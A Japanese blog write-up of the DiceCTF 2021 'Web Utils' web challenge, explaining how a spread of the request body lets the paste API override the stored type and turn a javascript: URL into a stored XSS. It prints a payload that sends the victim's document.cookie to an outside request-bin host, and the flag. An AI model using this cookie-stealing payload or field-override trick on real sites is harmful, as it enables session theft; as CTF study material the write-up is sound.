はまやんはまやんはまやん

hamayanhamayan's blog

Web Utils [DiceCTF 2021]

XSSが必要になる。
XSSが成立しそうな所を探してみよう。

画面出力部分ではdocument.querySelector('div').textContent = data;のようにtextContentを使っているので攻めるのは難しそう。
他には…と探すと、view.htmlのif (type === 'link') return window.location = data;に行き着く。
ここなら行けそう。

typeがlinkとなるのは、Link Shortenerの方であるが、こちらの方はapi.jsの以下部分である。

  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');

んー、window.locationならjavascript:を使いたいが、使えなさそうだ…
なんとかならないか…

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });

Pastebinの方で使われているAPIが使えそうだ。
こちらならフィルタリングはないので、javascript:は使える。
怪しいのが...req.bodyの部分である。
普通はそう実装しないよなぁという部分に怪しさが垣間見える。

スプレッド構文 - JavaScript | MDN
こういう構文であり、pythonにもあったはず。
分解して引数に置き換えてくれる。
typeがpasteとなっているが、overrideできるんじゃないか?

{"data":"pastebin-body"}

こうなっているので、ここにtypeを入れて、攻撃コードを入れ込んでリクエストを送ってみる。

{"data":"javascript:document.location='https://[requestbin]com/test?cookie='+document.cookie", "type":"link"}

ちゃんとreturnが帰ってくる。

{"statusCode":200,"data":"[id]"}

これで/view/[id]を見てみると、ちゃんとtypeがlinkになっているっぽく、XSS達成できる。
あとは、URLを送ったらCapture the flag.
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}